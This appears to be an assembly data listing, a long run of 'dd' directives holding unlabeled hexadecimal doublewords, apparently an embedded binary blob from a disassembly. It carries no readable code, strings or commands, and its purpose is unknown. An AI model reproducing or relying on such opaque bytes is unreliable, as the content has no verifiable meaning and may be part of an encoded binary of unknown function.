		dd 0F8003CBFh, 0B5A63220h, 4FB1EB0h, 1FDDEB5Eh,	5D00FA34h
		dd 0D6D470E3h, 0BCF800FFh, 8B8531A7h, 0DD766BCCh, 0D9614A7Ah
		dd 0A3922524h, 0B4BE3880h, 0C3942787h, 780035F2h, 8CD07F89h
		dd 199D4Bh, 987AD6A9h, 146EDD5Ah, 17E8400Fh, 0DA9E2728h
		dd 0BE71B800h, 44C00077h, 57A77EF2h, 2A008BC1h,	3A4D5D69h
		dd 0E81448CEh, 2B401CA0h, 0C26406Dh, 6795A253h,	43CB9400h
		dd 89C81B6Ah, 472E0044h, 9793D796h, 57006987h, 0B87DBF25h
		dd 0D3A9B1h, 0ED70595Eh, 781DA864h, 0C6A3C201h,	0AAAFA74Dh
		dd 1CF7ED4h, 0C95EA9D7h, 0F20733A2h, 32F580FDh,	0B94A89h
		dd 0B631F90Fh, 0FAED0B56h, 0D6A9413h, 3AC32000h, 0FC2858h
		dd 9F7201CDh, 4C07E177h, 7615C707h, 0B5C082B2h,	0FCE94h
		dd 11F3FCDDh, 0F5A5E7B3h, 340090FCh, 0A10AAE4Ah, 0D9D5ABh
		dd 54569A80h, 5F2C141Eh, 41B4BC00h, 9D231752h, 129900AEh
		dd 96350FF2h, 0F8006D89h, 0BD22F6EBh, 78C9A17Dh, 0DD330079h
		dd 9CADEEA6h, 7CF29746h, 3F8B658h, 0B0545E82h, 0BC06D8A3h
		dd 52B70024h, 8CA20CB9h, 180071A9h, 5DCFD921h, 83FA37h
		dd 0B91126AEh, 6AE2F809h, 876B2900h, 0E07406ACh, 0D2BF0082h
		dd 68D6D14Ch, 2C00386Ch, 0B9DA1756h, 5558B2h, 87AF95FBh
		dd 0B5C06D22h, 0C5CEB802h, 60DF9A27h, 3FE3487Bh, 0FC3B81h
		dd 0C4C2F082h, 1009C3E5h, 0D41C2F0Fh, 0C6954104h, 0B0D03741h
		dd 3EC7005Bh, 0A606C0B6h, 0DB70CC87h, 470FFF1Fh, 0D4496FC0h
		dd 3EFCF4B7h, 921F11BDh, 934480CFh, 0D8FA24A1h,	0A48BAA00h
		dd 2875FE20h, 99E800FDh, 9A050ECAh, 61033D4Ah, 39512695h
		dd 0F55BD8E6h, 17EF008Dh, 213FAA58h, 0E0074EB1h, 0A3820834h
		dd 8E5BF470h, 0D21848F7h, 3C744F00h, 0F3722073h, 6A0045F8h
		dd 825064B5h, 0F029E996h, 5CA81C36h, 0A3C540DFh, 0E3F5AA13h
		dd 0B7505900h, 0FF909FFDh, 1B020083h, 80719C98h, 0D4729A1Eh
		dd 5163F81Eh, 0B654ABC0h, 0BE444Eh, 0C5D9E1E9h,	2ECFA89h
		dd 9A678000h, 648768AAh, 0CE1C00BCh, 0D7EEB158h, 0F93F22D1h
		dd 5F390184h, 8991C12Dh, 0F6C59BF0h, 0FAF800C9h, 0F7970406h
		dd 56004AEDh, 0F9BAA35Dh, 5AD6C0h, 8B27D89Bh, 714BEB21h
		dd 9DFA4773h, 0D07CBA00h, 0BF427F5Fh, 3B352636h, 70600F1h
		dd 0D2AB671Eh, 8366C33Eh, 548964F6h, 0F5A2F026h, 4EE41F2Fh
		dd 9F8E8163h, 0FCF00BA7h, 0E89010C6h, 0B5FD791Ch, 13EAA6C0h
		dd 0E6997C5Ch, 98D0E178h, 0C64F0056h, 0A76525B9h, 0F51EF71Fh
		dd 0E1C0A27Ch, 0F8960BB2h, 0DEC1Dh, 5BD125F3h, 453DCABDh
		dd 0FF797700h, 0E7C184B8h, 0C56800DCh, 0D71E3A04h, 0F300F165h
		dd 0FAE93979h, 4DE6BEh,	68B05392h, 0C68B0C63h, 75CA3B07h
		dd 65F1FB9Eh, 0FD04DD3h, 0B9760071h, 0D90DA077h, 850014C7h
		dd 0DC18FDB5h, 8048B3h,	91946C46h, 672A8EE4h, 5CB98703h
		dd 90BE235Eh, 907C5419h, 2D3207C8h, 806E7AECh, 0D3778B25h
		dd 76FA158h, 0E4E8186h,	61627E30h, 0D7796Dh, 0A7910535h
		dd 0B3602FA4h, 4A147800h, 15EF2126h, 0EBBA007Ah, 0ABCBF8ECh
		dd 0DC0045D0h, 7753CF40h, 30246Eh, 0CC35DF4h, 0B44FD87Dh
		dd 5A005975h, 0A0ECAD9Fh, 1C76521h, 58DCFC82h, 0C4CB0D90h
		dd 0F0006263h, 0E4C9C4A9h, 274EDDh, 151D34A5h, 8AFFA1B8h
		dd 0BB812F07h, 980103Dh, 0E221578Bh, 3A7A00DFh,	0E8845CE3h
		dd 0F0006D4Dh, 38A46469h, 0DB53B4h, 19AE02ACh, 2BFC1A1Fh
		dd 0CB5A6800h, 42CA9B25h, 0A26413D6h, 0DC230108h, 0DACCF5DBh
		dd 4328A040h, 75D67000h, 0D8CDF3C8h, 617E07B0h,	6006E3B9h
		dd 596E47C5h, 0A186F801h, 8715D330h, 1F1E560h, 0AFC4A5BAh
		dd 0FC4A3AD7h, 0C3004C53h, 65F4A729h, 1C481D76h, 810FF597h
		dd 0D9C696E5h, 5AA9F0CDh, 91F39400h, 523834ECh,	0AE35013Dh
		dd 0A7FB6F98h, 0EA80D3ABh, 0D600EF41h, 61444D58h, 7F648Fh
		dd 0A51EF975h, 34DEA1FAh, 0B20039E4h, 87D2143Fh, 52C8AC4h
		dd 0F97E24B7h, 0B4C2C259h, 964A89C0h, 0B2AC6B1Ch, 1083C540h
		dd 6C3A73h, 0E4305F4Bh,	0E7546FAh, 1900DF77h, 0D49FBD8h
		dd 0B0D11874h, 4FE21C3Bh, 508203AFh, 9C90214Ah,	3500871Ah
		dd 0DB3D8325h, 138EB01Ch, 19A522h, 3BE01D55h, 0AB00BDDDh
		dd 0D39D1728h, 9F04EBh,	0E8F17824h, 0C32E0732h,	3C41D01h
		dd 6479D42h, 0CDA460h, 0C6234FC2h, 9F1F372Ch, 0B96E800Fh
		dd 259A80AAh, 24DF72A5h, 0D51D60h, 405D0BC9h, 0B790E54Ch
		dd 450E94FCh, 802BDC4Dh, 8E6AB371h, 6010303h, 0F1D87CE0h
		dd 1159C0DCh, 0AC0094C2h, 0A61E0204h, 7C30282Ch, 6C20038Ch
		dd 0A80A2DFFh, 47E16DA0h, 73801B00h, 7003364Eh,	3875012Bh
		dd 64EBCA7Ch, 6510605Eh, 67321700h, 35EFF203h, 8C410051h
		dd 0ECA3C00Ch, 621E6CEDh, 9CC08011h, 6B7FA934h,	0BB7D0076h
		dd 0CEC23868h, 39746FD2h, 0AF002F7Ch, 0A1996574h, 1A89B2Ch
		dd 0BBFB0C36h, 0F894C78Ah, 4800FA3Bh, 51466ECCh, 720DFC8Ch
		dd 1D5B01DDh, 245FAD83h, 0C79FE87Ch, 8427C900h,	814C500Eh
		dd 162E0060h, 0B7AB7341h, 0CA079813h, 0AA8B77D4h, 0FFD94ED0h
		dd 1C14E6E7h, 40580AF1h, 2B38871Ch, 3300EEACh, 0C1485998h
		dd 25AC4A3h, 23B8EC7h, 92E09D0Bh, 3000C92Bh, 3C0737BBh
		dd 3B1F5595h, 4200CB90h, 29DA70Dh, 88002B5Ah, 735D3BA5h
		dd 7EC94CD7h, 0A67AF1h,	0B6C24D9Dh, 78FFE526h, 3D4B0300h
		dd 0DCF07D0h, 38C80042h, 66938721h, 900F62Ch, 0BD745341h
		dd 0BD8F3686h, 0AA00D1F8h, 0A37046ACh, 3F0F0Dh,	0F3A81293h
		dd 31D72295h, 5ED0770Fh, 2F5FA045h, 48C4263Ch, 0BA0086B6h
		dd 3B164127h, 75014DEFh, 55CA13C6h, 1120CB0Bh, 0F41A4C9Eh
		dd 0C7FDB600h, 9D4E6710h, 0A635A703h, 80FBA252h, 1CEAE092h
		dd 0BEF1B6E6h, 6103007Bh, 9DB932F9h, 810052D5h,	0F8087275h
		dd 1CB67056h, 0C1227F84h, 85F986C3h, 42A07FEDh,	0D0420F69h
		dd 5340FD94h, 0BB47C44Fh, 0BF00A87Eh, 5ADA2350h, 0B605C0h
		dd 4EEA7B7Ch, 0CA20CD83h, 408DA900h, 0C34DE562h, 244407BBh
		dd 64924E61h, 0B1D3C020h, 0E90065B7h, 560BD5F4h, 41FCD6h
		dd 0A5DD0713h, 33CD926Bh, 9CCF9000h, 68E222BEh,	56591767h
		dd 9196007Ch, 1D119D9h,	0C040FB03h, 0B8E20B54h,	0B49BD5h
		dd 731AB20Fh, 6F94D64h,	9C020C00h, 8B21ABF4h, 0FA1976CBh
		dd 250B00AFh, 933C2D27h, 10B0648h, 0FBD993Ah, 69922137h
		dd 0D7D81C79h, 1074C068h, 0BAF8BE3Fh, 0BC0B3E00h, 0E5C5E70Ch
		dd 73300153h, 52D8DB1Fh, 0D66EE4C9h, 0A24E4304h, 17C0047Ch
		dd 0AB8880h, 5C7E4F25h
		dd 24132819h, 76FB404h,	0B8383F0h, 4C0A049h, 7F5D0E87h
		dd 7AE01369h, 0C5679A36h, 0E92B8802h, 0E0B4496Ah, 0F0B203h
		dd 4B89D359h, 42BBF82Dh, 0D2003C7Bh, 752FBC4Ch,	2A2E5DCh
		dd 0C00ED41Dh, 8FE3187Dh, 0DB520CA8h, 8D237000h, 27C35B9h
		dd 4EDA0710h, 7018F7BBh, 0C138ABDCh, 4C4F6600h,	0C379BED0h
		dd 9BD40322h, 65A51910h, 5AA4E588h, 5B2AED01h, 169544F4h
		dd 50320h, 51A0AC8Bh, 0C1D5E9A8h, 9E572200h, 0D75F1CE0h
		dd 0B30F4EEh, 0AAF64246h, 9B98BE00h, 7600BE8Dh,	0B85F7E32h
		dd 0EB0B41h, 0F839D61h,	0D23CE0B9h, 0E2009374h,	26BA71EDh
		dd 2A03B7Ah, 843052C5h,	0FF083Ah, 0A3C7C41Dh, 706B09E0h
		dd 0E00EF82h, 2355633Eh, 79F53200h, 37D39504h, 4DF10EDEh
		dd 0D7CF5F52h, 0C580ADAFh, 42B70AEBh, 3BB4BB00h, 2D500C2Ch
		dd 7FE0046h, 643C9329h,	0DB00848Ch, 0A9AFCCEAh,	2C011057h
		dd 0F7BAB3h, 0E79C1970h, 2E585C15h, 53B05AE4h, 4E0C0001h
		dd 6BE8DC28h, 35FA91D9h, 73533300h, 0E6A52051h,	2EDF0008h
		dd 7283B7B8h, 0E40017C2h, 3F963C7Fh, 0D9E5B9h, 0F8265FDEh
		dd 0FE4A97AEh, 84392B02h, 0E03BE617h, 796F45B3h, 55D41DACh
		dd 934A8146h, 0DCCB7156h, 0BF0E91FBh, 6038452Fh, 0C7922205h
		dd 0CCC00C3h, 0B2B75EC6h, 0C2009670h, 0ED494230h, 906D6h
		dd 0A013C078h, 0DF02B08h, 0B3453Ah, 33F61B6h, 4ECD8h, 43B0ED01h
		dd 0EEC49FE6h, 17FDCB3Bh, 14006097h, 2CF3DD7Dh,	2A83006Eh
		dd 18078251h, 32020B49h, 5FD3ADC6h, 0EC0FC092h,	0EBE903FEh
		dd 0B83EAC48h, 0F0B52A00h, 7F60B635h, 0D2C3398Dh, 9D49F180h
		dd 5B02C4E8h, 3E966100h, 7867637h, 7E3F0058h, 0FD2B0499h
		dd 0C207AE08h, 0F087B382h, 0B46545F0h, 3A6000F5h, 669E7DEBh
		dd 611CCB54h, 70C18B63h, 0A185EEE9h, 0AD4C0D5h,	53F20E6Fh
		dd 5A20B1CDh, 1BAA3987h, 5F9A371Fh, 0D00C1900h,	0AC78Eh
		dd 6D60279Dh, 139814D2h, 4FFD8A0Ah, 6F00EF0Bh, 0C7CABDA7h
		dd 11650056h, 0B40D6AA0h, 33001A8Eh, 0C1821C26h, 0ACF438h
		dd 5760F65Bh, 83DD1E5Dh, 19559F2Ch, 4D80CE1Ch, 8D7E2669h
		dd 97C77C4h, 6D0117C1h,	1813A380h, 56EE6EB3h, 80C53D3Ah
		dd 75649E6Bh, 1EB2AD0h,	8731ECCFh, 60D6D234h, 0A35FA7C6h
		dd 982DB0h, 4F2BEA29h, 0EFC18F0Fh, 0D932521Ch, 0A2C2A500h
		dd 39BD0D17h, 1380A9F8h, 833796F6h, 1D3E0670h, 2EBA80D9h
		dd 0FFC7B1CAh, 15D4005Eh, 921E6F1Ch, 761E73A3h,	5DC701C9h
		dd 9BA0681Dh, 81E8A6h, 230DE12Eh, 0DCFC529Fh, 0DEC6B800h
		dd 2FE96802h, 91CD07EBh, 0C00AC425h, 7DAC1ACBh,	0EE0DAD00h
		dd 0B259B48Fh, 49D40320h, 0C4E7FD08h, 0B7A6FAD8h, 0CF078D7Ah
		dd 5A57EE16h, 68C065E4h, 1CA84BD7h, 815D15DFh, 0E1B08F50h
		dd 44003E2Ch, 3E085501h, 0ABFD01BCh, 0E071EF4Ch, 0B906F8C7h
		dd 80D8123Ah, 9A09C92Fh, 79085CBh, 69ED0EF1h, 0F26BB054h
		dd 0CC003A89h, 339DAF66h, 2D99A5h, 64E19345h, 7E0C82D4h
		dd 0CEE33B00h, 0AD488CCBh, 1667781Fh, 7B10D3h, 0E0497EF3h
		dd 0F300511Bh, 0F608A952h, 0DAB240h, 689FCAF8h,	0A3CF8961h
		dd 0C23843E4h, 8E00FF95h, 158D6051h, 65C766h, 4856D82h
		dd 10309933h, 0BCBEB200h, 4B316E0Bh, 0E9D2005Ch, 2847D9BBh
		dd 44006D89h, 0D32BAB67h, 778868Eh, 0AC5DD73Bh,	0CEA30010h
		dd 9A1F891Ch, 2B806D6Ch, 0B0C67448h, 0B8B600E4h, 821166F7h
		dd 3D002A45h, 0B1B90B5Bh, 1F3209h, 98D269F3h, 854BCBADh
		dd 849F7900h, 0BCB3A08Ch, 56500CDh, 1804C9FBh, 751E6869h
		dd 0DD006E0Eh, 9A4C628Eh, 0F1D1036Fh, 49F6C14h,	78F83DBh
		dd 0DB6B90C6h, 49FC810Ch, 0E7DEE901h, 0CD4290B2h, 0BE8CD8h
		dd 6B5DE577h, 0F2C8A1ECh, 8203C43Dh, 0A1D1F2Dh,	0B793E004h
		dd 31720056h, 0D6A24C17h, 3400E39Fh, 0C3258923h, 7BDA4A6h
		dd 0E9B935FCh, 0E06BB0AAh, 0D903EDA9h, 0F8446F76h, 0BBD2B07Fh
		dd 0CBA73A80h, 30038187h, 0B8A01E11h, 0DD296943h, 6000A1E8h
		dd 0FD0207EFh, 74C2461h, 4B9E205Ah, 0CBE77009h,	0A5013EBh
		dd 0B900F29Ah, 0F95C7832h, 0D6D714h, 77592262h,	18153B51h
		dd 16B00400h, 0C470636Bh, 0DCE500BFh, 0F258A132h, 810038E3h
		dd 0F1D875ACh, 0E684CDh, 0FE8FABD2h, 9DA93C4Bh,	2200F7EEh
		dd 7A631A26h, 3C9B19DDh, 0FB32EAh, 0D1B6B028h, 90C7FFFAh
		dd 121B8400h, 2A523798h, 0A7CA01EFh, 188028BCh,	0A9EEF47Bh
		dd 0F1E33F2h, 0B4C0037Eh, 72BBB1E6h, 91410071h,	0CBB801B5h
		dd 78002F77h, 0C929C15Dh, 4AB08Bh, 0B31206ADh, 8082F747h
		dd 720E2201h, 439B7A1Ah, 37C98C0h, 0DC0166A0h, 64D8FA39h
		dd 0B37AFFF1h, 0D190AA00h, 721668EAh, 37A7030Eh, 0A924BB39h
		dd 11861F98h, 62E84400h, 0A1D5D977h, 8102004Ah,	437540C9h
		dd 4D00DBB4h, 1F1468B3h, 2108D3h, 3FB5FC0Dh, 171E70EBh
		dd 4A92F301h, 0B4A89BF4h, 13ECEDCh, 9C8C6C95h, 0F4F8975Eh
		dd 0DE047182h, 67FA41B1h, 805BDFC7h, 0C71FD13Dh, 0D8430185h
		dd 0D3830AEh, 0F4A1ED4Dh, 0E7006944h, 376E5211h, 4E276Bh
		dd 459C78E8h, 0F12203DCh, 2C5F48h, 156C4B70h, 74538C08h
		dd 727BACh, 0D46F63CCh,	59A14623h, 3844CA00h, 4AF36433h
		dd 7881009Eh, 65607CEh,	76EE1C8Dh, 9BC07400h, 0A89C3BF9h
		dd 1C677F7Bh, 404BB36Fh, 9520B7BCh, 0A90304EFh,	7E9B0F2h
		dd 8E89C87Dh, 318D00CBh, 349261FEh, 78003DD6h, 0C4871BEEh
		dd 3FDEC38h, 9BA4F68h, 0C0F5B8DDh, 1F81A5C2h, 0BBE54900h
		dd 5A3E16DFh, 9C3500D1h, 8952CAE4h, 0E00E2AFh, 48F247D3h
		dd 1D666C91h, 0DD0FE0DBh, 0C0789C61h, 0F9D52AE7h, 51269BA7h
		dd 370F5FABh, 39D900C3h, 583C23C2h, 0A0061C8h, 9F980314h
		dd 5B012AA6h, 7B16553Dh, 0E0CAABDAh, 27CE62h, 0C139D6E1h
		dd 0E6D969Dh, 99578602h, 0FDC07103h, 0EBC23B60h, 0FA2F3Ch
		dd 23411E87h, 0D3F57Eh,	33AE4B24h, 0A389D0DAh, 113D1E98h
		dd 99587F2h, 73E03B07h,	17E06842h, 0F578D3h, 0EB82D28Fh
		dd 3A078396h, 27F6A101h, 3DD4DC30h, 818A38E4h, 0C7096F80h
		dd 10990715h, 81744C38h, 0E7FB681Fh, 0F5F033CCh, 0D1F2D2h
		dd 9698EFE0h, 7DFCA7BBh, 610043F4h, 99EE28A5h, 0FD82F4D6h
		dd 73DAE570h, 39C23A08h, 0E2F942A8h, 37600F8Eh,	70099EAh
		dd 1340DD15h, 0DA7D6800h, 9B4514E1h, 0C5D0099Eh, 4D80B934h
		dd 0CF3FBCF0h, 33CE271Ch, 71E8A7C2h, 0B7B260EDh, 3C390F3h
		dd 9D2C0C88h, 29B9C248h, 49FFD87Ch, 1964E800h, 937E46D9h
		dd 0EEF90082h, 4CA91155h, 0C600B624h, 549AA3C7h, 0CC225h
		dd 9149C32Eh, 0E47B9614h, 65EC09ECh, 8188F13Eh,	0FEE532F5h
		dd 93D8B2F3h, 554C0001h, 0E010D18Ch, 0E001C2Ch,	306C77E4h
		dd 72DA41Dh, 8038B9Eh, 42708076h, 9F00BF0Ch, 40A3B2A2h
		dd 0ED91DCh, 20B1F1FAh,	12899B2Fh, 0FD4E4200h, 0E3B8A097h
		dd 2E75005Fh, 80298F44h, 0CDF05067h, 0F6D9312Ch, 0AC87EE00h
		dd 4951AFh, 0F6121723h,	2221BA74h, 9A65B30Eh, 6AF00090h
		dd 26967Fh, 0F67CFD66h,	0A071F985h, 84E2823Fh, 27C159E6h
		dd 0EBCEC0AEh, 0E972C3A2h, 4A7A4317h, 0AF29E300h, 0E3570B8h
		dd 4E25C03Dh, 0E910F600h, 5E002D42h, 0F0A5315Ah, 0F508736h
		dd 11BA9B5Dh, 3268E580h, 0A7758FC8h, 0F96E4400h, 86928715h
		dd 97A000FEh
		dd 321BB7AAh, 0DB037353h, 71010B10h, 0E86DAB7Ch, 0E58AAA29h
		dd 0EDD6F4h, 1670E6FBh,	0B81B8518h, 0B06B7200h,	2B3B22CDh
		dd 90B11C12h, 89EB8F0Eh, 0E08F2A00h, 4B078DD7h,	5A11BF68h
		dd 0F752E831h, 0E30BF8h, 0D2DE082h, 50C19B66h, 18838900h
		dd 0B7860F13h, 7E35E4EFh, 0B5580065h, 0EA967C6Dh, 20005FFBh
		dd 17A8119h, 0EA27453h,	0C38B85F0h, 5E4F2180h, 5000AF49h
		dd 0C091EB61h, 0FAD33Ch, 9D3897A2h, 5CDF01FDh, 629CD40Fh
		dd 0FEB8092h, 451C26h, 7AF54812h, 0C373E81h, 0C215D41Eh
		dd 0AF03980h, 9CE6105h,	66CF4480h, 7559C580h, 342ED67Dh
		dd 990E67D9h, 1AD82089h, 0F0E371h, 98965213h, 28D1FCF2h
		dd 0C5EF2900h, 0CA9F70ECh, 0EDF13DEBh, 8BC0E480h, 0B8A83D45h
		dd 0A4F8A228h, 841B6800h, 0BF2D637Ah, 31FCFDh, 0F777E7D7h
		dd 120754F2h, 43F09600h, 5B14EA91h, 0E180097h, 499ED4C7h
		dd 0BC01593Bh, 6F30A1AFh, 3CE812FCh, 0E4B50083h, 0D0D140BBh
		dd 320E2A13h, 64E1E934h, 0DBC0C136h, 0BC5F3Eh, 23FD9051h
		dd 0E5100660h, 18E7EF03h, 881AC654h, 0AFF0D7h, 634E3B47h
		dd 6541B462h, 0DE758A1Eh, 0AE748EC0h, 0B0B1FE0h, 30334F27h
		dd 217C8775h, 7A5BA150h, 1C2C7D98h, 42C44AAAh, 0C90CCD5Fh
		dd 302F7C61h, 98005E8Bh, 362013B5h, 0F9D067h, 19ECE30h
		dd 0D17A99ABh, 0E600D8F2h, 6D1B1068h, 0E8FE41A8h, 9F74003Eh
		dd 8131D03Dh, 2300F06Ah, 0C8EFA36Ch, 9599A1h, 0D84E4B7Fh
		dd 0EC9C2958h, 69036298h, 0E31E0F50h, 0CB6298E8h, 943203D5h
		dd 0C0F6232Eh, 20E9B3E0h, 2B40E50Fh, 0A036CF55h, 0DCFE07C3h
		dd 9D100A9h, 0EF61BCFDh, 0F00A4B9h, 0BB7FA8EBh,	0A6ABCFh
		dd 12DB359Eh, 9634F9FFh, 1EFA5448h, 0F67D5BC2h,	8AF9400h
		dd 0A6A44184h, 0BA931F38h, 801A9DBFh, 172757C4h, 963F1BCFh
		dd 0A65580F6h, 2BD42C0Eh, 9D6D2404h, 1C873A34h,	903BBCDFh
		dd 48F3037Dh, 0F55C9F02h, 8076B3AFh, 0F4DF7AA4h, 0A86E009Eh
		dd 289ABDFEh, 0EE014F26h, 3729F90Ch, 5930B642h,	0C390009Dh
		dd 74856377h, 0C6079E5Bh, 6AD42F96h, 878E4D90h,	0DA120F4Ah
		dd 0C347BBEDh, 70E01EBDh, 0D8C08214h, 42E77B02h, 82067DBAh
		dd 0E08E3198h, 1F6C74DDh, 0BB1EE9AEh, 0CF879A00h, 39AA3032h
		dd 0A20EE1B0h, 60EFC544h, 8FA8FAA7h, 0A170B5EDh, 0D64E5600h
		dd 0ACA9B8ECh, 0C4AF001Bh, 62DE7213h, 33009AF7h, 2FED1C22h
		dd 530232h, 78A161D2h, 0F380BEC9h, 80447D3Eh, 0E3FAA209h
		dd 63C086h, 0FE544037h,	0A07516D0h, 0D8205000h,	57949E41h
		dd 0F8F200D2h, 114287AEh, 90040B8h, 0DB9BCFA3h,	371BD1h
		dd 515DEB6Eh, 13C02A7Ch, 0FC8E2E00h, 25D38CB1h,	0AC8B0075h
		dd 0C27EFE76h, 0E703F395h, 88629020h, 6AA498FFh, 0C38C07E9h
		dd 60C5E58Ah, 6B093F5Fh, 0B35E3300h, 1A81E25Bh,	0ADB0FFh
		dd 89429135h, 3E305F7Ah, 0BB4D4F00h, 0C59E5226h, 0DF48007Ch
		dd 6AB249D8h, 7916F101h, 0BA176Fh, 0C8BA9D5Ch, 83721527h
		dd 0FF40900h, 921EDE60h, 0D2170075h, 6A5EA826h,	623ACBA1h
		dd 85203D2Eh, 46BC5CDCh, 0EAB6C6BEh, 0DE98CE00h, 3E0108A5h
		dd 88D10056h, 7043AD24h, 3F07EDC7h, 0DAB795BBh,	3010F2E0h
		dd 8BF8E8h, 0EF170776h,	0CA3F716Eh, 8057D13Dh, 0EA2A081Fh
		dd 7BBC33h, 2E23960Bh, 2682DE2Ch, 4EE11100h, 32C36516h
		dd 23D746Eh, 0C75FD5D9h, 0D940A668h, 0E8001BBCh, 59904729h
		dd 1F7F7E2Bh, 0D7ACF50Bh, 59F8C7h, 9A4A9B30h, 389601h
		dd 998C77B9h, 0C05198A4h, 0DE717C7Ah, 6D43A32Eh, 2059A20Eh
		dd 8A9EA9BEh, 2FE900EAh, 8710ECC1h, 374C16A1h, 34310089h
		dd 0D89336A9h, 8EB00EDAh, 9F8048B5h, 51125E2Eh,	40B78507h
		dd 7621CC62h, 9E30058Bh, 0B6F000F4h, 7D060188h,	0AB07ED3Ch
		dd 66EAB0C3h, 0B2111820h, 0F2861E05h, 0AE8C0A9h, 0ACEB91C8h
		dd 0BBFCE42Ch, 8F534F00h, 0DA573Ch, 0D6310BA0h,	45753F20h
		dd 90528000h, 280DA1C6h, 0A3F4C2h, 248D593Ah, 0B4330C0Ah
		dd 2158h, 53D94E9h, 0A51991h, 0A3111CEFh, 0E07AB9B3h, 98F1471Dh
		dd 38CC4500h, 1FB19E5h,	0CFAEC11Eh, 0D48C5B9Fh,	0D0008EDEh
		dd 91376CAFh, 0E2304FBFh, 5B500054h, 648F2BB1h,	0D300C6ECh
		dd 61ACE8F1h, 687B78h, 3BF6190Fh, 62947985h, 7A5F03Ch
		dd 423D9387h, 1B834F45h, 29CC9898h, 1D907FD4h, 4085A2A0h
		dd 99151F4Dh, 4FE0CF97h, 0AE435100h, 0FE397B5Ah, 7A6979ADh
		dd 2BE30078h, 0DEDC5623h, 0A004983h, 0CA999614h, 0F53E02h
		dd 6CEE3AD2h, 0F16A94BDh, 731B9C00h, 0E34E2F21h, 0FDAC1DD4h
		dd 0CFD980DDh, 8CFCFFC8h, 0A3E79800h, 0F890BF9Fh, 1E02982Ah
		dd 6826D4DFh, 1AE0094h,	5AE2EBDDh, 0D801921Ah, 0A6BE4174h
		dd 79E038D5h, 54A7005Fh, 4F2B09FFh, 0A7D8411h, 0E98FC500h
		dd 0B013B9C0h, 0EBE6035Bh, 275D6769h, 24FADA88h, 0C1A00500h
		dd 0C5CD3F53h, 0A22A003Ah, 0FB14E649h, 0F3031690h, 0D2E1BA29h
		dd 3EFFD06Fh, 287492h, 467AFA88h, 0DBC60CE2h, 2E02AD00h
		dd 4A731D98h, 7D988Bh, 596C9EAh, 0A71281E5h, 6A986C03h
		dd 0E07E033Fh, 0E6F6270Ch, 3A3200BAh, 1C5B99CAh, 50112B0h
		dd 0BC50EE30h, 7520B1EDh, 0F1841D09h, 860A0068h, 0D3FF2CB4h
		dd 85F2AA1Ch, 79020600h, 0E313CB0h, 0F4D9CCE0h,	0DF380740h
		dd 0F803EA81h, 0C8537EE3h, 2D9CA825h, 0F6C20041h, 157CF9FEh
		dd 0CB1EE470h, 7A4055E6h, 965DA6AEh, 98AF0E9Bh,	88204D58h
		dd 12343F1Fh, 0A193220Eh, 659200F9h, 9E1AB3h, 0B9A62B43h
		dd 6CDE88EFh, 791C6900h, 0EDC0D3AFh, 1A600215h,	0DBB80EACh
		dd 8100E057h, 0AD28009Bh, 3F501347h, 6376473h, 0B57146CBh
		dd 88DCB342h, 1BCC39A5h, 0DF16D00h, 0F33549DEh,	43DF2819h
		dd 0D5F832EAh, 0D25F0034h, 8A0AA5C7h, 0B400D1ADh, 0D6829C86h
		dd 0EA9AD079h, 0F87C0162h, 4CA9C4B8h, 66C0C272h, 1D00FB10h
		dd 84555E98h, 0EF114C2h, 52BE6A65h, 0C0EACA04h,	0B73D3522h
		dd 7F6F8900h, 1C7344C6h, 1AFB0093h, 2948889Bh, 0C5000EA3h
		dd 5857A126h, 28B2F285h, 89B8F3h, 0B9E8ABAh, 0F58D8E29h
		dd 8F02903Fh, 5FE877h, 0DA506F19h, 99FA0089h, 9B11AAA9h
		dd 8F0054C1h, 69670643h, 0EAE124h, 0F6B98A2Fh, 0BB2A61E7h
		dd 8F3C7B00h, 97A952F0h, 0B1F200F1h, 0EA5CC9D3h, 8D0046A7h
		dd 0A2D76866h, 1F143C12h, 0CE10B6B5h, 2421253Bh, 2F08D558h
		dd 39F01A80h, 0C21F0549h, 80E6F737h, 4E91812Eh,	956E9700h
		dd 79801D5Ch, 0FA25000Bh, 21A7597Dh, 0D53C1866h, 0F52E7F2Ch
		dd 92002B65h, 57D850FCh, 90533EEEh, 3B541300h, 0AB6A9AFEh
		dd 8A329500h, 47BECA8Ch, 219B006Ch, 86D0D74Fh, 4B008403h
		dd 2CD96F65h, 0E34017h,	0EF058A5Eh, 0F7E589DEh,	3310F100h
		dd 0A84F6B42h, 13A52EB1h, 84E4005Dh, 0F31514E9h, 0DB3EDA03h
		dd 908EAF1Ah, 1973421h,	767DAC74h, 0F4FD2D39h, 5895D6FBh
		dd 7EB300F9h, 0F1A9D4ABh, 3F09EB40h, 8068E01Eh,	854E7493h
		dd 3490DEh, 0D19E7FC5h,	7AEC075Eh, 98903A00h, 9FE98D02h
		dd 0D7E814h, 6F72451Ch,	63A28C1Ah, 0D166790h, 5C007E4Bh
		dd 3568920h, 9E98A9h, 0D9ACFB2Dh, 9317A88h, 0E1925800h
		dd 45F3E07Dh, 6FDC0038h, 0A1AA4EA7h, 853EBA97h,	465500B6h
		dd 0B2A2F406h, 0AB38010Fh, 0B867D554h, 3604E0BFh, 0C1564200h
		dd 9B8C2BE8h
		dd 1C80003Bh, 0C876CF99h, 43000B4Dh, 59A60498h,	0A3132Fh
		dd 820FC2BEh, 71C57EA8h, 6F780B00h, 7F4B44CCh, 9D070084h
		dd 82E0FFD9h, 89006321h, 66BE2E72h, 1B6F95h, 1CB5CEFEh
		dd 6A8CCA64h, 0A2CBD700h, 1C2125Ch, 0C6540052h,	0DA11284Eh
		dd 0E30085E7h, 0BF6EB88h, 2A4DDBh, 0EA7C84CCh, 45AD2D9Dh
		dd 0A0004278h, 0BC0AD0E0h, 0F0FCAC66h, 62F200F7h, 588BC34Ah
		dd 0DE2E7B5Fh, 43006A55h, 0CC25D53h, 9FFE002Dh,	451D071Fh
		dd 9000E496h, 4E8111AFh, 3C31DAC8h, 68807FEEh, 2C4FAC95h
		dd 0D028B165h, 29008BBDh, 0E08D6DB7h, 3CB2E5DEh, 460E3464h
		dd 8C007E0Fh, 1F6B9DD0h, 0F9F39107h, 0FC43547Bh, 3462A047h
		dd 0D90C0056h, 0D2212728h, 8F78422Bh, 9B00C877h, 3C1CA1Eh
		dd 35BED3Ah, 2DBEDE13h,	9DB8CBF9h, 9E005AE7h, 0A0CD3EBh
		dd 8AD1A1h, 4F07E0Bh, 9ADC3BC5h, 1F808400h, 0BA2F25EEh
		dd 3E5C006Bh, 0FAC4C363h, 0BF006E4Eh, 84317FCEh, 1F700CACh
